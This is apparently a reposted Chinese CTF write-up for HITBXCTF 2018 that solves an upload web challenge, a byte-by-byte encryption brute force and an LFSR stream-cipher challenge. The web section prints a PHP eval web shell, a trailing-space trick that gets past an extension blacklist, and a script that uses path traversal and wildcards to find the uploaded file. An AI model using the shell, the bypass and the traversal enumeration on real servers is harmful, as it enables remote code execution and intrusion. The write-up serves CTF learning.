美文网首页CTF Re&&Pwn我爱编程
【HITBXCTF2018】部分Writeup

【HITBXCTF2018】部分Writeup

作者: Kirin_say | 来源:发表于2018-04-15 12:53 被阅读273次

0x01 upload

打开网页查看源码
发现

pic.php?filename=default.jpg

随手上传一个php

<?php  @eval($_POST['cmd']); ?>

存在过滤
抓包上传
发现几个问题:

文件后缀: .123/.ph/.....都可以上传,后台应该只是使用黑名单
我们直接构造文件名为"milin.php "(注意有空格),便可以绕过
从响应头看出web端使用了IIS7.0

本来希望pic.php加载文件时是不是存在漏洞,但返回都是"image error"
这题考点在最后的文件目录上
重新尝试发现:

url处无法直接进行目录穿越
pic.php?filename=处可以进行目录穿越

首先还是想到IIS7.0的短文件名漏洞
随手一试:

pic.php?filename=../*~1*/.aspx
pic.php?filename=../milin*~1*/.aspx

发现不行,心态有点崩了
傻傻地写了纯爆破脚本
跑的时候还是觉得应该是通配符问题(不然没法做啊,跑了半个小时)
想到windows下php路径爆破问题(类似通配符问题)('<'后台替换为'*','>'替换为‘?’)
(其实试IIS短文件名的时候随手也试了一下,结果不行,然后就放弃了,比赛结束才知道就是这个方法,极度尴尬,怀疑当时是校园网不稳定,返回出错,就差一点搞定,心态又崩了)
知道这个,直接改了一下之前的纯爆破脚本即可:

import requests
import urllib
path = ""
key = "0123456789abcdefghijklmnopqrstuvwxyz"
for i in range(1,100):
    for j in key:
        url = 'http://47.90.97.18:9999/pic.php?filename=../'+path+j+'</default.jpg'
        r = requests.get(url)
        if "width=497" in r.content:
            path +=j
            print path
            break

爆出路径直接菜刀连接就完了

0x02 Base

简单的密码学,没理解加密方式,不过发现后面增加字符加密后并不影响前面的加密字符,所以直接从前往后爆破就行:

from pwn import *

ans="2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU="
sum=""
str=""
p = remote('47.91.210.116',9999)
for  i in range(33,127):
    s="5869616f6d6f40466c61707079506967"
    s+=chr(i)
    p.sendlineafter("Input:",s)
    qwe='encrypt("%s") => \"'  %s
    p.recvuntil(qwe)
    str=p.recvuntil('"',drop=True)  
    if  str[:56] == ans[:56]:
               sum=sum+'   '+s
p.close()
print sum

这个脚本有点问题
因为当时没考虑增加位数前面会固定几位
但晚上懒得想了,直接一位一位跑出来了

0x03 streamgamex

上次强网杯streamgame强化版,直接爆破估计会累死(二进制41位啊)
先分析加密过程再破解:

from flag import flag
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==47

def lfsr(R,mask):
    output = (R << 1) & 0xffffff        //output=R*2%0xffffff
    i=(R&mask)&0xffffff                  //i=R&mask
    lastbit=0
    while i!=0:                          
        lastbit^=(i&1)                   //i中奇数个1则lastbit=0,output不变,否则 lastbit=1,改变最后一位
        i=i>>1
    output^=lastbit
    return (output,lastbit)



R=int(flag[5:-1],2)
mask    =   0b10110110110011010111001101011010101011011
f=open("key","ab")
for i in range(64):
    tmp=0
    for j in range(8):
        (R,out)=lfsr(R,mask)
        tmp=(tmp << 1)^out
    f.write(chr(tmp))
f.close()

很显然加密过程只与flag的后24位有关系
最后发现官方提示给了hashlib.sha256(flag).hexdigest()的值
我们破解过程就很明确了:

破解后24位
然后再利用hashlib.sha256(flag).hexdigest()破解前面

最后脚本破解:

def lfsr(R,mask):
    output = (R << 1) & 0xffffff      
    i=(R&mask)&0xffffff                
    lastbit=0
    while i!=0:                          
        lastbit^=(i&1)                
        i=i>>1
    output^=lastbit
    return (output,lastbit)

mask    =   0b10110110110011010111001101011010101011011
i=1
while True:
    flag=bin(i)[2:]
    R=int(flag,2)
    tmp=[0,0,0,0]
    for j in range(3):
            tmp[j]=0
            for k in range(8):
              (R,out)=lfsr(R,mask)
              tmp[j]=(tmp[j] << 1)^out
    if  tmp[0]==75 and tmp[1]==98 and tmp[2] == 9 :
           print   flag
    i+=1
------------------------------------------------------------------------------------------
import hashlib
sum="111001101010111010111011"
i=0
ans="b2dcba51efd4a7d6157c956884a15934cb3edd3d2c1026830afa8db4ec108b58"
while True:
    flag=bin(i)[2:]
    key="flag{"+flag+sum+"}"
    if hashlib.sha256(key).hexdigest()[:6]==ans[:6]:
          print  flag,key,len(key)
    i+=1

这里附上最近这几次比赛streamgame的解法的源码(此源码需要在sage环境下运行):

    mask = 0b10110110110011010111001101011010101011011     //前面几行根据需要修改即可
    N = 24
    F = GF(2)
    R = [vector(F, N) for i in range(N)]
    for i in range(N):
      R[i][i] = 1
     
    def lfsr(R,mask):
        lastbit = vector(F, N)
        for i in range(0, N):
          if mask >> i & 1:
            lastbit += R[i]
        output = [lastbit] + R[0:N-1]
        return (output,lastbit)
     
    b = ''
    with open('key', 'rb') as f:
      b = f.read()
    M = Matrix(F, len(b) * 8, N)
    vec = vector(F, len(b) * 8)
    row = 0
    for i in range(len(b)):
      t = ord(b[i])
      for j in xrange(7, -1, -1):
        vec[row] = t >> j & 1
        (R, out) = lfsr(R, mask)
        M[row] = out
        row += 1
    print rank(M)
    print ''.join(map(str, list(M.solve_right(vec))[::-1]))

相关文章

  • 【HITBXCTF2018】部分Writeup

    0x01 upload 打开网页查看源码发现 随手上传一个php 存在过滤抓包上传发现几个问题: 本来希望pic....

  • [happyctf]部分writeup

    题目名称:sqltest所属:MISC考察点:盲注 眼力 耐心(好吧是废话) 附件下载下来 ,到手一个流量包,用w...

  • bugku部分web writeup

    网站被黑 今天学会了用burpsuite进行爆破密码,嘿嘿嘿~题目如下: 首先要用御剑扫一下ip: 出现了一个sh...

  • GXZYCTF部分Web Writeup

    很长一段时间没有接触了,都沉迷于课程学习不能自拔(被迫的),果然2020年对题目都失去了感觉,不仅如此,刚打开就想...

  • DDCTF 2019 部分 writeup

    只做出一道web,一道misc,好菜。接下来看大佬的wp学习下吧。web1打开链接,可以看到可能存在文件包含的ur...

  • Web

    这是 ISITDTU 的一些 web 题目 来自 ISITDTU CTF 2018 部分Web题目Writeup这...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • 【RCTF2018】部分Writeup

    0x01 Sign 签到题载入idaAlt+T查找RCTF即得flag 0x02 git 签到题查看commit信...

  • SCTF 2018 web部分writeup

    转载声明 本文是转载文章,文章原作者theKingOfNight,文章来源:安全客 原文地址:https://ww...

网友评论

    本文标题:【HITBXCTF2018】部分Writeup

    本文链接:https://www.haomeiwen.com/subject/drsdkftx.html